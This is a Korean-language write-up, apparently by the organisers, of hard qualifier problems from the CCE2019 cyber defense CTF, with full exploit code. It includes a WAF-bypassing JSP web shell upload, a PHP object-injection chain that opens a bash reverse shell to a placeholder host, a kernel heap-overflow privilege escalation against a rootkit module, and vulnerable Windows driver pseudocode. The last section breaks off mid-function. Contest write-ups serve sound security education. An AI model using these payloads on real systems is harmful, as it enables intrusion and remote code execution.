CCE2019 문제 풀이

지난 해 개최된 사이버공격방어대회(국가보안기술연구소 주관, 국가정보원 주최)에서 저희 엔키가 문제 출제와 대회 운영을 담당하였습니다.

예선 대회에는 223개 팀 1,093명(일반 737명, 기관 286명)이 참가하였으며, 부산 벡스코에서 진행된 본선 대회에는 예선을 거쳐 선발된 20개 팀(일반팀 10팀, 기관팀 9팀, 초대팀 1팀)이 치열한 경쟁을 펼치며 성황리에 대회가 마무리되었습니다.

본선 대회는 실제 사이버 공격 사례를 기반으로 준비된 미션을 실시간 방어하는 형식으로, 일반 CTF와는 차별화된 형태로 진행되었습니다. 본선 결과는 링크에서 확인하실 수 있습니다.

본 글에서는 예선전에 출제된 문제 중 풀이자가 많지 않은 문제를 선정하여 풀이 방법을 공유합니다. 예선 결과에서 각 문제별 풀이자 수는 다음과 같습니다. (예선 당시 일반/기관이 별도로 운영되어 일반 참가자 결과를 기준으로 작성했습니다.)

문제 목록

이름 유형 플래그 인증
baby_wkernel pwnable 2
babyrootkit2 pwnable 0
realworld web 35
classic web 27
child web web 21
phpisback web 2
pwn-frastructure web 1
baby web web 0
hwp malware 48
backeley malware 18
fileless malware 37
malcom malware 23
bRobber malware 17
babyrootkit malware 16
informal malware 13
packet misc 16
System Hardening 1 misc 116
System Hardening 2 misc 116
System Hardening 3 misc 115
wintifact misc 13

[Web] baby web

1. Approach

참가자에게는 웹 사이트 주소와 소스코드가 제공됩니다.

웹해킹 유형의 문제에서 소스코드가 제공된 경우, 코드 오디팅(Auditing)을 통해 취약점을 식별한 뒤 해당 웹 어플리케이션이 동작하는 서버를 공격하여 플래그를 획득하는 것이 일반적인 접근입니다.

첨부된 압축 파일을 해제하면 위와 같은 디렉토리 구조를 확인할 수 있고, 로컬 환경에서 Docker를 이용해 해당 서비스를 동작시킬 수 있습니다.

Apache 설정 파일(000-default.conf) 을 보면, Apache 데몬의 80 포트로 요청되는 통신에 대해 서버의 로컬 12345 포트로 프록시 설정이 된 것을 확인할 수 있고, waf/main.go 소스코드를 보면, 12345 포트에 서비스되는 데몬이 Golang으로 개발된 WAF(Web Application Firewall)임을 알 수 있습니다. 또한 WAF를 거친 외부 요청은 8080 포트에 서비스되는 Tomcat WAS(Web Application Server)로 전달됩니다.

위 과정을 요약하면, 해당 웹 어플리케이션 서버는 아래와 같은 형태로 외부 요청을 처리한다는 사실을 파악할 수 있고, 이를 바탕으로 WAF를 우회하여 웹 어플리케이션(babyWeb.war)를 공격하는 것이 문제의 핵심임을 추론할 수 있습니다.

Created with Raphaël 2.2.0Apache(80)Apache(80)WAF(12345)WAF(12345)WAS(8080)WAS(8080)프록시방화벽업로드 파일명 검증응답 리턴프록시

2. Attack Vector

...
match, _ := regexp.MatchString(".{1,50}\\.(jpg|png)$", part.FileName())
if match == false {
    r.Body.Close()
    wr.Write([]byte("WAF XD"))
    return
}
...

WAF는 정규식을 이용해 업로드 요청되는 파일 이름을 필터링하므로, 웹 어플리케이션(babyWeb.war)의 파일 업로드 기능을 추론할 수 있습니다.

또한, Tomcat으로 서비스되는 웹 어플리케이션(babyWeb.war) 파일의 압축을 해제하면, 아래와 같이 소스코드와 라이브러리 파일들을 확인할 수 있습니다.

web.xml 설정 파일에서 babyWeb.class -> index.jsp 서블릿 매핑을 확인할 수 있고, class 파일은 온라인 자바 디컴파일러를 이용해 쉽게 소스코드로 변환 가능합니다.

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    request.setCharacterEncoding("UTF-8");
    if (!ServletFileUpload.isMultipartContent((HttpServletRequest)request)) {
        PrintWriter writer = response.getWriter();
        writer.println("Error!");
        writer.flush();
        return;
    }
    DiskFileItemFactory factory = new DiskFileItemFactory();
    factory.setSizeThreshold(1048576);
    factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
    ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
    upload.setFileSizeMax(0x300000L);
    upload.setSizeMax(0x300000L);
    String uploadPath = this.getServletContext().getRealPath("") + File.separator + UPLOAD_DIRECTORY;
    File uploadDir = new File(uploadPath);
    if (!uploadDir.exists()) {
        uploadDir.mkdir();
    }
    try {
        List formItems = upload.parseRequest(request);
        if (formItems != null && formItems.size() == 1) {
            for (FileItem item : formItems) {
                if (item.isFormField()) continue;
                Object fileName = new File(item.getName()).getName();
                fileName = this.makeFn((String)fileName) + "." + this.getExt((String)fileName);
                String filePath = uploadPath + File.separator + (String)fileName;
                File storeFile = new File(filePath);
                item.write(storeFile);
            }
        }
    }
    catch (Exception ex) {
        request.setAttribute("message", (Object)("There was an error: " + ex.getMessage()));
        PrintWriter writer = response.getWriter();
        writer.println("Errrrrroroopoorrrr!");
        writer.flush();
        return;
    }
    PrintWriter writer = response.getWriter();
    writer.println("Upload!");
    writer.flush();
}

POST 요청을 처리하는 doPost 메소드에서 파일 업로드 기능을 확인할 수 있고, 그 외 별다른 기능이나 필터링 로직이 존재하지 않으므로 웹 쉘 업로드를 통한 플래그 획득을 출제 의도로 추론할 수 있습니다.

3. Vulnerability

3.1 Commons-Fileupload 라이브러리의 문자열 디코딩 로직을 악용한 WAF 필터링 우회

코드 로직 상 악용 가능한 문제점이 존재하지 않으므로, Golang 또는 Java 코드에서 버그 또는 악용 가능한 기능을 찾아야 합니다.

ServletFileUpload upload = new ServletFileUpload(factory);
...
List<FileItem> formItems = upload.parseRequest(request);

babyWeb.class 서블릿은 파일 업로드 기능 구현을 위해 아파치에서 제공하는 라이브러리를 사용하며, 위는 doPost 메소드 중 라이브러리의 ServletFileUpload 클래스를 이용해 외부 입력 데이터를 파싱하는 코드입니다.

//commons-fileupload-1.4-src/src/main/java/org/apache/commons/fileupload/FileUploadBase.java
public List<FileItem> parseRequest(HttpServletRequest req)
public List<FileItem> parseRequest(RequestContext ctx)
public FileItemIterator getItemIterator(RequestContext ctx)
private class FileItemIteratorImpl implements FileItemIterator
FileItemIteratorImpl.findNextItem(void)
FileItemIteratorImpl.getFileName(FileItemHeaders headers)
FileItemIteratorImpl.getFileName(String pContentDisposition)

//commons-fileupload-1.4-src/src/main/java/org/apache/commons/fileupload/ParameterParser.java
ParameterParser.parse(final String str, char separator)
parse(final char[] charArray, char separator)
parse(final char[] charArray, int offset, int length, char separator)

//commons-fileupload-1.4-src/src/main/java/org/apache/commons/fileupload/util/mime/MimeUtility.java
MimeUtility.decodeWord(String word)

위 코드 경로는 파일 업로드 시 파일의 이름을 파싱할 때 실행되는 경로입니다. MimeUtility 클래스는 RFC2047 명세에 따라 인코딩된 입력을 지원합니다. Commons FileUpload 라이브러리는 ‘Q’, ‘B’ 인코딩을 모두 지원하며 ‘B’ 인코딩은 Base64 인코딩 입력을 의미합니다.

따라서 업로드할 파일 이름을 =?charset?B?BASE64_ENCODED_INPUT?= 형태로 요청할 경우 파일명을 Base64 디코딩한 후 사용하게 됩니다. 결국 abcd.jpg 파일을 업로드할 때와 =?UTF8?B?YWJjZC5qcGc=?= 파일을 업로드할 때 doPost 메소드 내 getName 메소드의 반환값이 같습니다.

인코딩된 데이터는 공백문자(\t\r\n)의 유・무로 각 입력들을 구분하기 때문에, 인코딩된 문자열에 이어진 문자열은 디코딩 과정에서 누락됩니다. 이를 이용해 업로드할 파일 이름을 =?charset?B?BASE64_ENCODED_INPUT?=.jpg 와 같은 형태로 요청하면 WAF의 필터를 우회하여 BASE64_ENCODED_INPUT의 디코딩된 값을 파일 이름으로 사용할 수 있습니다.

'=?UTF8?B?{}?=.jpg'.format('webshell.jsp'.encode('base64').strip())

위와 같이 업로드 요청 시, doPost 메소드에서 getName 메소드의 반환값이 webshell.jsp이 되어 웹 쉘을 업로드할 수 있습니다.

그러나, makeFn 메소드에 의해 서버에 업로드되는 파일 이름이 랜덤하게 결정되므로 해당 파일의 이름 및 경로를 식별하지 못하면 성공적으로 웹 쉘을 사용할 수 없게 됩니다.

3.2 취약한 makeFn 메소드를 악용한 업로드 경로 예측

makeFn 메소드는 본래 업로드 경로를 숨기게 할 목적으로 구현되었으나, 취약한 구현으로 인해 업로드 경로를 예측할 수 있습니다.

public byte[] hexStringToByteArray(String s) {
    int len = s.length();
    byte[] data = new byte[len / 2];
    for (int i = 0; i < len; i += 2) {
        data[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
    }
    return data;
}

private byte[] randStr(int len) {
    StringBuilder result = new StringBuilder();
    for (int i = 0; i < len; ++i) {
        result.append(String.format("%X", new Random().nextInt(129) + 127));
    }
    return this.hexStringToByteArray(result.toString());
}

private String makeFn(String fileName) {
    SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    Date time = new Date();
    String now = format.format(time);
    return DigestUtils.sha1Hex((String)(fileName + new String(this.randStr(20)) + now));
}

makeFn 메소드 내에서 호출되는 randStr 메소드는 랜덤한(127~255) 20 바이트 배열을 생성하며, 해당 바이트 배열은 sha1 해시 함수에 인자로 전달될 때 문자열(string object)로 변환됩니다.

또한, JAVA 환경에서 바이트 배열의 요소가 문자열로 변환될 때 Non-Printable 값은 REPLACEMENT CHARACTER로 변환되는데, 이 과정에서 randStr 메소드가 배열 요소의 값을 127~255 사이로 결정하기 때문에 변환된 문자열은 높은 확률로 ‘\xEF\xBF\xBD’*20와 같아집니다. (참고)

4. Exploit

앞에서 확인한 취약점과 공격 과정을 종합하여 익스플로잇 코드를 작성할 수 있습니다.

첫 번째로, Commons-Fileupload 라이브러리의 문자열 디코딩 로직을 악용하여 WAF 필터링을 우회한 뒤

두 번째로, makeFn 메소드에 존재하는 구현상의 취약점을 식별 및 공격하여 파일 업로드 경로를 유추하는 공격 코드를 작성하면 원격 서버(문제 서버)에 웹 쉘을 생성하여 웹 서버를 장악할 수 있습니다.

또한, 문제에 사용된 아파치 Commons FileUpload 라이브러리는 다수의 웹 어플리케이션에서 실제로 사용되는 컴포넌트로, 엔키 레드팀(RedTeam)에서 모의 침투 시 대상 시스템의 WAF를 우회하기 위해 이용되기도 했습니다.

전체 익스플로잇 코드는 다음과 같습니다.

from requests import post, get
from hashlib import sha1
from datetime import datetime

ws = '''<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML>'''

url = 'http://127.0.0.1/'
guess = '\xEF\xBF\xBD' * 20
now = str(datetime.utcnow()).split('.')[0]
wss = []

for i in range(10):
    h = sha1('webshell.jsp' + guess + now[:-1] + str(i)).hexdigest()
    wss.append(h)

files = {'file': ('=?UTF8?B?{}?=.jpg'.format('webshell.jsp'.encode('base64').strip()), ws)}

for i in range(10):post(url, files=files)
for ws in wss:
    if get(url + 'upload/' + ws + '.jsp').status_code == 200:
        print url + 'upload/' + ws + '.jsp'
        break

[Web] phpisback

1. Approach

참가자에게는 플래그의 위치와 웹 사이트 주소, 소스코드가 제공되며, 이전 문제(baby web)와 동일하게 Docker를 이용한 로컬 환경 구성이 가능합니다.

웹 사이트는 PHP FUEL 프레임워크를 이용해 개발되었습니다. FUEL 프레임워크는 HMVC(Hierarchical Model-View-Controller) 디자인 패턴에 기반한 웹 사이트 개발에 사용되며, 해당 웹 사이트는 간단한 메모 기능을 제공합니다.

소스코드가 제공되지 않는 웹 해킹 유형의 문제들은 웹 사이트(웹 서비스)에 포함된 여러 기능을 자세히 살펴보며 출제자의 의도를 파악해 숨겨진 취약점을 찾아 내야 하지만, 본 문제는 소스코드가 제공되므로 앞선 문제와 같이 코드 오디팅으로 취약점을 식별할 수 있습니다.

FUELPHP 공식 홈페이지에서 프레임워크의 구성에 대해 잘 정리된 문서를 확인할 수 있으며, 해당 내용을 참고하면 주요 코드(source/fuel/app/classes/controller/welcome.php)를 빠르게 찾고 오디팅할 수 있습니다.

2. Attack Vector

<?php
error_reporting(0);

use phpseclib\Crypt\Random;

class Controller_Welcome extends Controller{
    private function write_file($content){
        $filename = sha1(Random::string(30));

        $write = '/tmp/' . $filename;
        if(!file_put_contents($write, $content)){
            return false;
        }
        else{
            return $filename;
        }
    }
    public function get_index(){
        if(count(Session::get('memos'))> 0){
            echo '<center>';
            for($i=0; $i<count(Session::get('memos')); $i++){
                echo '<a href="/read?file='.Session::get('memos')[$i]['name'].'&key='.htmlspecialchars(hex2bin(Session::get('memos')[$i]['key'])).'">'.Session::get('memos')[$i]['name'].'</a><br/>';
            }
            echo '</center>';
            return;
        }
        return Response::forge(View::forge('welcome/index'));
    }
    public function get_read(){
        $file = Input::get('file');
        $key = Input::get('key') ? bin2hex(Input::get('key')) : false;

        if(preg_match('/[^a-f0-9]/', $file) || !$file) return 'bye :(';
        if(!is_file('/tmp/' . $file)) return 'bye :(';
        
        $content = file_get_contents('/tmp/' . $file);

        if($result = Crypt::decode($content, $key)){
            return $result;
        }
        else{
            return $content;
        }
    }
    public function get_write(){
        return Response::forge(View::forge('welcome/write'));
    }
    public function post_write(){
        $count = (int)Session::get('count') ? (int)Session::get('count') : 0;

        if($count >= 3) {
            return 'too many memos 4 1 kid';
        }
        $content = Input::post('content') ? Input::post('content') : 'hi';
        $key = Input::post('key') ? bin2hex(Input::post('key')) : false;

        $content = Crypt::encode($content, $key);

        if(!$filename = $this->write_file($content)){
            return 'error';
        }
        else{
            Session::set('count', $count+1);
            Session::set("memos.$count", array('name'=>$filename, 'key'=>$key));
            return '<center><a href="/read?file='.$filename.'&key='.htmlspecialchars(hex2bin($key)).'">go</a></center>';
        }
    }
}

welcome.php 코드는 5개의 메소드로 구성된 1개의 클래스로 구성되어 있습니다. 해당 클래스에서 제공하는 주된 기능은 메모를 파일 시스템에 저장하는 기능, 읽는 기능, 세션을 이용해 사용자를 식별하는 기능입니다.

문제에 사용된 코드는 Session, Input 등 프레임워크에서 제공되는 클래스를 활용하고 있으므로, 필요한 경우 프레임워크 코드도 함께 오디팅해야 합니다.

public function get_read(){
    $file = Input::get('file');
    $key = Input::get('key') ? bin2hex(Input::get('key')) : false;
    ...
    $content = file_get_contents('/tmp/' . $file);
    if($result = Crypt::decode($content, $key)){
        return $result;
    }
    else{
        return $content;
    }
    ...
}

public function post_write(){
    ...
    $content = Input::post('content') ? Input::post('content') : 'hi';
    $key = Input::post('key') ? bin2hex(Input::post('key')) : false;
    $content = Crypt::encode($content, $key);
    if(!$filename = $this->write_file($content)){
        return 'error';
    }
    ...
}

get_read, post_write 메소드는 메모를 인코딩해 저장하거나, 읽어와서 디코딩하는 역할을 합니다. 메모 읽기의 경우, 키 값이 틀리면 인코딩된 상태의 메모를 출력합니다.

Crypt 클래스의 encode, decode 메소드가 사용하는 키 값은 다음과 같습니다.

키 값이 전달되지 않은 경우의 동작은 아래의 프레임워크 코드(source/fuel/core/classes/crypt.php)에서 확인할 수 있습니다.

3. Vulnerability

...
class Crypt
{
    ...
    /**
     * initialisation and auto configuration
     */
    public static function _init()
    {
        ...
        // check the sodium config
        if (empty(static::$defaults['sodium']['cipherkey']))
        {
            static::$defaults['sodium'] = array('cipherkey' => sodium_bin2hex(random_bytes(SODIUM_CRYPTO_STREAM_KEYBYTES)));
            $update = true;
        }

        // update the config if needed
        if ($update === true)
        {
            try
            {
                \Config::save('crypt', static::$defaults);
            }
            ...
        }
    }
    ...
    protected function encode($value, $key = false, $keylength = false)
    {
        if ( ! $key)
        {
            $key = static::$defaults['sodium']['cipherkey'];
        }
        ...
    }
    ...
    protected function decode($value, $key = false, $keylength = false)
    {
        ...
        if ( ! $key)
        {
            $key = static::$defaults['sodium']['cipherkey'];
        }
        ...
    }
    ...
}

Crypt 클래스의 encode, decode 메소드는 키 값이 입력되지 않은 경우 랜덤하게 생성된 기본 키를 사용합니다. 따라서 메모 기능을 이용하면, 서버의 기본 키 값으로 인코딩된 데이터를 유출할 수 있습니다.

해당 기능으로 플래그를 읽기 위해서는 프레임워크 코드를 오디팅하여 악용 가능한 기능을 찾아내야 합니다.

//source/fuel/core/classes/session.php
...
class Session
{
    ...
    protected static $_instance = null;
    ...
    protected static $_defaults = array(
        'driver'                    => 'cookie',
        'match_ip'                  => false,
        'match_ua'                  => true,
        'cookie_domain'             => '',
        'cookie_path'               => '/',
        'cookie_http_only'          => null,
        'encrypt_cookie'            => true,
        'expire_on_close'           => false,
        'expiration_time'           => 7200,
        'rotation_time'             => 300,
        'flash_id'                  => 'flash',
        'flash_auto_expire'         => true,
        'flash_expire_after_get'    => true,
        'post_cookie_name'          => '',
    );
    ...
    public static function forge($custom = array())
    {
        $config = \Config::get('session', array());

        // When a string was passed it's just the driver type
        if ( ! empty($custom) and ! is_array($custom))
        {
            $custom = array('driver' => $custom);
        }

        $config = array_merge(static::$_defaults, $config, $custom);
        ...
        $class = '\\Session_'.ucfirst($config['driver']);
        $driver = new $class($config);
        ...
        return static::instance($cookie);
    }
    ...
    public static function instance($instance = null)
    {
        // if a named instance is requested
        if ($instance !== null)
        {
            // return it if it exists
            if ( ! array_key_exists($instance, static::$_instances))
            {
                return false;
            }

            return static::$_instances[$instance];
        }

        // return the default instance
        return static::forge();
    }
    ...
    public static function get($name = null, $default = null)
    {
        return static::instance()->get($name, $default);
    }
    ...
}
...

Session 클래스 코드에서 프레임워크가 세션을 어떤 방식으로 생성하고 관리하는지 확인할 수 있습니다.

다양한 세션 드라이버가 존재하지만 기본 값으로 cookie를 사용하므로, Session_Cookie 클래스가 이용됩니다.

//source/fuel/core/classes/session/cookie.php
...
class Session_Cookie extends \Session_Driver
{
    ...
    protected function read($force = false)
    {
        // get the session cookie
        $payload = $this->_get_cookie();
        ...
    }
}
...

Session_Cookie 클래스는 Session_Driver 클래스를 상속받고, 부모 클래스의 _get_cookie 메소드를 이용하여 클라이언트에서 전달된 쿠키 데이터를 읽습니다.

//source/fuel/core/classes/session/driver.php
...
abstract class Session_Driver
{
    ...
     protected function _get_cookie()
     {
        ...
        if ($cookie !== false)
        {
            // fetch the payload
            $this->config['encrypt_cookie'] and $cookie = \Crypt::decode($cookie);
            $cookie = $this->_unserialize($cookie);
            ...
        }
        ...
        return $cookie;
    }
    ...
}
...

_get_cookie 메소드는 인코딩된 데이터를 서버의 기본 키 값으로 디코딩한 후 역직렬화하여 세션 데이터로 사용합니다. 이를 이용하면 PHP unserialize 함수에 임의의 데이터를 전달하여 PHP Object Injection 취약점을 발생시킬 수 있습니다.

4. Exploit

해당 유형의 취약점을 공격하기 위해서는 PHP 특수 메소드를 선언하고있는 클래스 중 공격에 사용될 수 있는 코드를 찾아야합니다. (참고1, 참고2)

//source/fuel/core/classes/view.php
...
class View
{
    ...
    public function __toString()
    {
        try
        {
            return $this->render();
        }
        ...
    }
    ...
    protected function process_file($file_override = false)
    {
        $clean_room = function($__file_name, array $__data)
        {
            ...
            try
            {
                // Load the view within the current scope
                include $__file_name;
            }
            ...
        };
        ...
    }
    ...
    public function render($file = null)
    {
        ...
        $return = $this->process_file();
        ...
        return $return;
    }
}

View 클래스는 __toString PHP 특수 메소드를 선언하고 있습니다. 해당 메소드의 코드 경로가 include 함수로 이어지기 때문에 LFI(Local File Includesion) 공격이 가능합니다.

이제, PHP의 Session Upload Progress 기능으로 공격에 필요한 파일을 생성하고 LFI 취약점을 이용하여 원격 쉘을 획득하면 플래그를 읽을 수 있습니다.

전체 익스플로잇 코드는 다음과 같습니다.

from subprocess import check_output
from requests import post, get
from urllib import quote
from os import fork

php = '''<?php
namespace Fuel\Core{
    class View
    {
        protected static $global_data = array();
        protected static $global_filter = array();
        protected $request_paths = array();
        protected $auto_filter = true;
        protected $filter_closures = true;
        protected $local_filter = array();
        protected $file_name = null;
        protected $data = array();
        protected $extension = 'php';
        protected $active_request = null;
        protected $active_language = null;
        function __construct($file_name){
            $this->file_name = $file_name;
        }
    }
}
namespace { 
    $tmp = new Fuel\Core\View('/tmp/sess_exploit');
    $myip = '127.0.0.1';
    echo(serialize(array(
        array(
              'updated'    => '9999999999',
              'ip_hash'    =>  md5($myip.$myip),
              'user_agent' => 'phpisback'
        ),
        array(
            'memos' => array(
                array(
                    'name'=> $tmp,
                    'key'=> 'phpisback'
                )
            )
        )
    )));
}'''.encode('base64').replace('\n','')

serialized = check_output('echo {} | base64 -D | php'.format(php), shell=True)
target = 'http://127.0.0.1'
rsh = 'REVERSHELL_IP'
data = {'content': serialized}
memo = post(target + '/write', data=data).text.split('=')[2][:40]
payload = get('{}/read?file={}&key=no'.format(target, memo)).text

def session_write():
	code = '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/{}/1234 0>&1\'"); ?>'.format(rsh)
	headers = {'Cookie':'PHPSESSID=exploit'}
	data = {'PHP_SESSION_UPLOAD_PROGRESS': code}
	files = {'tmp': ('tmp', 'tmp')}
	while True:
		post(target + '/', data=data, headers=headers, files=files)

def trigger(payload):
	url = target + '/?fuelcid=' + quote(payload)
	while True:
		get(url, headers={'User-Agent': 'phpisback'})

pid = fork()
if pid:session_write()
else:trigger(payload)

[Pwnable] babyrootkit2

1. Approach

악성코드 분석 유형의 문제인 babyrootkit의 포너블 버전으로, 제공되는 문제 파일은 동일합니다.

구동 스크립트(run.sh)에서 ASLR(Address Space Layout Randomization) 커널 보호가 비활성화된 것을 확인할 수 있습니다.

cd `dirname $0`
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,smep \
    -kernel vmlinuz-4.4.0-142-generic \
    -initrd initramfs.cpio \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
    -nographic \
    -smp cores=4,threads=4 \
    -monitor /dev/null \
    2>/dev/null

2. Vulnerability

루트킷 악성코드인 lemonkit.ko 모듈은 시스템 콜 테이블에 등록된 write, getdents, getdents64 의 3가지 시스템 콜을 후킹하여 간단한 정보 은닉 기능을 구현하고 있습니다.

.text:0000000000000D59 loc_D59:
.text:0000000000000D59 mov     rdi, offset ebsAtmilWMD
.text:0000000000000D60 call    mutex_lock
.text:0000000000000D65 lea     rdi, [rbx+28h]
.text:0000000000000D69 mov     esi, 24080C0h
.text:0000000000000D6E call    __kmalloc
.text:0000000000000D73 mov     rsi, r13
.text:0000000000000D76 mov     r14, rax
.text:0000000000000D79 mov     rdi, rax
.text:0000000000000D7C mov     edx, ebx
.text:0000000000000D7E call    _copy_from_user
.text:0000000000000D83 mov     ecx, 8
.text:0000000000000D88 mov     rdi, offset aL3m0nad3 ; "L3M0NAD3"
.text:0000000000000D8F mov     rsi, r14
.text:0000000000000D92 repe cmpsb
.text:0000000000000D94 jnz     short loc_DA8

위는 write 시스템 콜을 후킹한 함수 코드의 일부이며, L3M0NAD3 문자열을 이용해 백도어 기능을 트리거 하는 용도입니다. 해당 코드에서 rbx 레지스터는 write 시스템 콜 인자로 전달된 출력 버퍼 크기 값입니다.

write(fd, userbuf, count)
->
kmem = kmalloc(count + 0x28) // interger overflow
->
copy_from_user(kmem, userbuf, count)

count 값을 매우 크게 전달하면, copy_from_user 함수에서 커널 힙 오버플로우를 발생시킬 수 있는 취약점을 확인할 수 있습니다.

#include <unistd.h>
#include <sys/syscall.h>

void main() {
    syscall(__NR_write, 1, "", 0xfffffffffffffff8);
}

상단의 코드는 취약점을 유발하는 PoC 코드입니다. 컴파일하여 실행하면 커널 패닉이 발생합니다.

write(1, userbuf, 0xfffffffffffffff8)
->
kmem = kmalloc(0x20) // interger overflow
->
copy_from_user(kmem, userbuf, 0xfffffff8)

또한, 해당 PoC 코드를 실행하면 위와 같이 데이터가 각 함수에 전달됩니다.

3. Exploit

커널 디버깅을 돕기 위한 심볼 파일을 다운받아 동적 분석 환경을 구성할 수 있습니다.

root@com:~/babyroot# wget http://ddebs.ubuntu.com/pool/main/l/linux/linux-image-4.4.0-142-generic-dbgsym_4.4.0-142.168_amd64.ddeb
root@com:~/babyroot# dpkg -x linux-image-4.4.0-142-generic-dbgsym_4.4.0-142.168_amd64.ddeb image
root@com:~/babyroot# mv image/usr/lib/debug/boot/vmlinux-4.4.0-142-generic .

ASLR 보호 매커니즘이 비활성화되어 있기 때문에, 동적 분석 환경이 구성되면 취약점을 손쉽게 공격할 수 있습니다.

전체 익스플로잇 코드는 다음과 같습니다.

#!/usr/bin/env python
from os import system
remote = False
code = '''
#include <unistd.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <stdio.h>

char *addr;

void *alloc(void *arg) {
    uint64_t *buf = (uint64_t *)(addr + 0x1000 - 8);
    buf[0] = addr + 0x2000 + 0x18;
    setxattr("./code", "./code", buf, 0x20, 0);
}

void *trigger(void *arg) {
    uint64_t *buf = (uint64_t *)(addr + 0x1000 - 0x20 - (0x20 * 100));
    for (int i = 1; i < 101; i++)
        buf[4*i] = 0xffffffffc0004000;
    write(1, buf, 0xfffffffffffffff8);
}

void main() {
    long uffd;
    pthread_t thr;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    uffd = syscall(__NR_userfaultfd, O_NONBLOCK);
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    ioctl(uffd, UFFDIO_API, &uffdio_api);
    addr = mmap(0, 0x3000, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    uffdio_register.range.start = (uint64_t)addr + 0x1000;
    uffdio_register.range.len = 0x1000;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);

    // stdout will be locked
    stdout->_fileno = dup(1);

    // Overwrite Free Object
    pthread_create(&thr, 0, trigger, 0);

    uint64_t *fake = (uint64_t *)(addr + 0x2000);
    uint64_t sys_open = 0xffffffff8121acd0;
    uint64_t sys_write = 0xffffffff8121c910;
    uint64_t sys_getdents = 0xffffffff812301e0;
    uint64_t sys_getdents64 = 0xffffffff812302f0;
    uint64_t commit_creds = 0xffffffff810a7ec0;
    uint64_t prepare_kernel_cred = 0xffffffff810a82b0;

    // SyS_getdents64 area
    fake[0] = sys_open;
    fake[1] = 0xffffffffc0002000;
    fake[2] = 0;
    fake[3] = &fake[8];
    fake[4] = 0xffffffffc0004000;
  
    // SyS_getdents area
    fake[5] = sys_getdents;
    fake[6] = 0xffffffffc0002170;
    fake[7] = 0;
    fake[8] = &fake[13];
    fake[9] = &fake[3];

    // SyS_write area
    fake[10] = sys_write;
    fake[11] = 0xffffffffc0002ce0;
    fake[12] = 0;
    fake[13] = 0xffffffffc0004000;
    fake[15] = &fake[8];
        
    while (1) {
        pthread_create(&thr, 0, alloc, 0);
        if (syscall(__NR_getdents64, 0) != 0xffffffec) break;
        puts("try harder!");
    }

    fake[10] = prepare_kernel_cred;
    uint64_t cred = syscall(__NR_write, 0, 0, 0);
    fake[10] = sys_write;

    fake[0] = commit_creds;
    syscall(__NR_getdents64, cred);
    fake[0] = sys_getdents64;

    printf("pid : %d\\n", getuid());

    int fd = open("/root/flag_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", O_RDONLY);
    puts(mmap(0, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0));
    sleep(0x1337);
}
'''
with open('code.c', 'w') as f:f.write(code)
system('gcc code.c -o code --static -lpthread')
system('rm code.c')
if remote:
    system('gzip --to-stdout code | base64 > input')
else:
    system('mv code fs/home/guest/')
    system('cd fs;find . -print0 | cpio --null -ov --format=newc > ../debug.cpio 2>/dev/null')

[Pwnable] baby_wkernel

1. Approach

문제 파일의 압축을 해제하면 babykernel.sys 커널 드라이버 파일을 얻을 수 있으며, Driver Loader를 이용하여 테스트 환경에 드라이버를 설치할 수 있습니다.

해당 드라이버를 리버싱하면 단순한 동작을 수행하는 3가지 함수가 ioctl로 동작하는 것을 알 수 있습니다.

2. Vulnerability

CTF에서 메뉴 챌린지 형태로 출제되는 대부분의 문제들은 동적 메모리 할당 시 발생하는 취약점 유형을 다루며, 본 문제 역시 관련 기능에 취약점이 존재합니다.

아래는 각 함수를 핸드레이한 의사 코드입니다.

struct DATA {
    char first[0x20];
    unsigned int len;
    char *second;
};

unsigned int maxSlot = 5000;
unsigned int pointer = 0;
DATA Pool[maxSlot];

// 221DDF
int add(void *userBuf) {
    if (pointer >= maxSlot) return error;

    DATA *data = Allocate(40);

    memcpy(data, userBuf, 36);

    unsigned int size = *(unsigned int *)(userBuf + 32);

    if (size % 8 == 0) size += 8; // integer overflow

    if (size >= 0x100) {
        FreePool(data);
        return error;
    }

    data->second = Allocate(size);
    memcpy(data->second, userBuf + 36, size);
    Pool[pointer++] = data;
}

// 221DE3
int edit(int *userBuf) {
    unsigned int index = userBuf[0];
    unsigned int len = userBuf[1];
    char *first = userBuf[2];
    
    if (index >= maxSlot) return error;

    if (Pool[index] && Pool[index]->second) {
        memcpy(&Pool[index], first, 32);
        if (len <= Pool[index]->len) {
            memcpy(Pool[index]->second, userBuf + 10, len); // pool overflow
        }
    }
}

// 221DEB
int delete(int *userBuf) {
    unsigned int index = userBuf[0];
    
    if (!Pool[index]) return error;

    if (Pool[index]->second) {
        FreePool(Pool[index]->second);
        Pool[index]->second = 0;
    }

    FreePool(Pool[index]);
    Pool[index] = 0;
